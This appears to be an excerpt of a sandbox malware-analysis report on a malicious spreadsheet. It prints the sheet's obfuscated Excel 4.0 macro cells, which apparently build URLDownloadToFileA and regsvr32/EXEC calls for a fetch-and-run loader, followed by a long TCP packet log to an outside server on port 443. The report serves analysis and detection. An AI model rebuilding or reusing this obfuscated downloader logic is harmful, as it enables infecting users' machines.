,,,,,,,,,,,,,,,,,,Fil,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RIGHT(""rsthYFGIPUYiugeA"",2)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,=,,"=FORMULA.ARRAY(BH10&BH11&BH12,before.2.0.0.sheet!BL49)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,CALL,,"=FORMULA.ARRAY(BG33&BG34&BG35&BG36&BG37&BG38&BG39&""2 "",before.2.0.0.sheet!BO52)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=FORMULA(BH19&BH20&BH33&before.2.0.0.sheet!BL47&BH34&BH37&BH34&before.2.0.0.sheet!BL48&BH34&BH37&BH34&before.2.0.0.sheet!BL49&BH34&BH37&BH39&BH37&BH34&BG5&BH34&BH37&BH34&BG2&BH34&BH37&BH39&BH37&BH39&BH36,before.2.0.0.sheet!BJ47)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,URL,,,"=FORMULA(BH19&BH20&BH33&before.2.0.0.sheet!BL47&BH34&BH37&BH34&before.2.0.0.sheet!BL48&BH34&BH37&BH34&before.2.0.0.sheet!BL49&BH34&BH37&BH39&BH37&BH34&BG6&BH34&BH37&BH34&BG3&BH34&BH37&BH39&BH37&BH39&BH36,before.2.0.0.sheet!BJ48)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,M,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,on,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=FORMULA(BI32&BI33&BI34&BI35,BL50)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,""")",E,"=FORMULA(BG19&BL50&before.2.0.0.sheet!BO52&before.2.0.0.sheet!BG2&before.2.0.0.sheet!BH32,before.2.0.0.sheet!BJ49)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""","(""",X,"=FORMULA(BG19&BL50&before.2.0.0.sheet!BO52&before.2.0.0.sheet!BG3&before.2.0.0.sheet!BH32,before.2.0.0.sheet!BJ50)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,r,"""",E,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,e,&,C,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,g,),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,s,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 24, 2021 20:51:59.217113972 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.377705097 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:51:59.377835989 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.379231930 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.538777113 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:51:59.539464951 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:51:59.539510012 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:51:59.539547920 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:51:59.539551973 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.539576054 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.539585114 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:51:59.539587975 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.539633989 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.543297052 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:51:59.543401957 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.557400942 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.718678951 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:51:59.718889952 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.720052004 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:51:59.919806957 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.092456102 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.092489004 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.092503071 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.092514992 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.092526913 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.092542887 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.092556000 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.092711926 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.092761993 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.099214077 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.099251032 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.099267960 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.099363089 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.099389076 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.252315044 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252347946 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252360106 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252372026 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252382994 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252393961 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252404928 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252420902 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252438068 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252453089 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.252568007 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.252621889 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.255255938 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.255274057 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.255336046 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.255348921 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.255364895 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.255384922 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.255412102 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.258919001 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.258943081 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.258958101 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.258976936 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.258995056 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.259011030 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.259028912 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.259057999 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.412481070 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.412552118 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.412627935 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.412689924 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.412777901 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.412841082 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.412923098 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.412935972 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.412986040 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413019896 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413079023 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413091898 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413134098 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413151026 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413222075 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413229942 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413301945 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413311005 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413341999 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413376093 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413404942 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413430929 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413467884 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413480997 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413530111 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413543940 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413600922 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413604021 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413639069 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413651943 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413707972 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.413707972 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.413758993 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.414885998 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.414962053 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.414998055 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.415028095 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.415061951 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.415092945 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.415110111 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.415157080 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.415186882 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.415257931 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.415268898 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.415319920 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.415337086 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.415416002 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.415426016 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.415497065 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.418498039 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.418521881 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.418572903 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.418591022 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.418596983 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.418678045 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.419465065 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.419498920 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.419517994 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.419547081 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.419554949 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.419589996 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.419617891 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.419631958 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.419663906 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.419701099 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.419703960 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.419738054 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.419802904 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.575592995 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575639963 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575675964 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575690031 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.575722933 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575736046 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.575763941 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575802088 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575805902 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.575839043 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575875998 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.575876951 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575912952 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575949907 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.575954914 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.575987101 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576004028 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576033115 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576052904 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576075077 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576112986 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576123953 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576150894 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576189041 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576193094 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576231003 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576268911 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576272964 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576307058 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576353073 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576356888 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576395035 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576431036 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576436043 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576467991 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576492071 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576523066 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576535940 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576597929 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576683998 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576754093 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576783895 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576822996 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576858997 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576859951 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576905012 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576924086 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.576947927 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576984882 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.576996088 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577023983 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577060938 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577061892 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577097893 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577136040 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577140093 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577172041 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577191114 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577220917 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577231884 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577261925 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577299118 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577308893 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577336073 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577366114 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577373981 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577409983 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577435970 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577446938 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577481985 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577485085 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577532053 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577557087 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577573061 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577609062 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577636003 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577646971 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577680111 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577685118 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577721119 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577747107 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577758074 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577795029 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577821970 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577841997 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577867985 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577882051 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577919006 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.577955961 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.577956915 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.578035116 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.579209089 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.579253912 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.579294920 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.579353094 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.579708099 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.579752922 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.579767942 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.579777956 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.579804897 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.579807997 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.579829931 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.579854965 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.579855919 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.579911947 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580214977 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580244064 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580270052 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580272913 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580305099 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580348015 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580374956 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580416918 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580427885 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580441952 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580467939 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580472946 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580493927 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580511093 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580526114 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580554962 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580570936 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580580950 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580606937 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580609083 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580632925 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580651045 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.580667973 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.580729961 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.600815058 CEST	49739	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.679357052 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.761025906 CEST	443	49739	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.835149050 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.835300922 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.836574078 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.992441893 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.993065119 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.993097067 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.993124962 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.993143082 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.993176937 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.993227959 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:00.996279955 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:00.996411085 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.015933990 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.172337055 CEST	443	49742	50.116.92.246	192.168.2.4
Jun 24, 2021 20:52:01.172632933 CEST	49742	443	192.168.2.4	50.116.92.246
Jun 24, 2021 20:52:01.174047947 CEST	49742	443	192.168.2.4	50.116.92.246
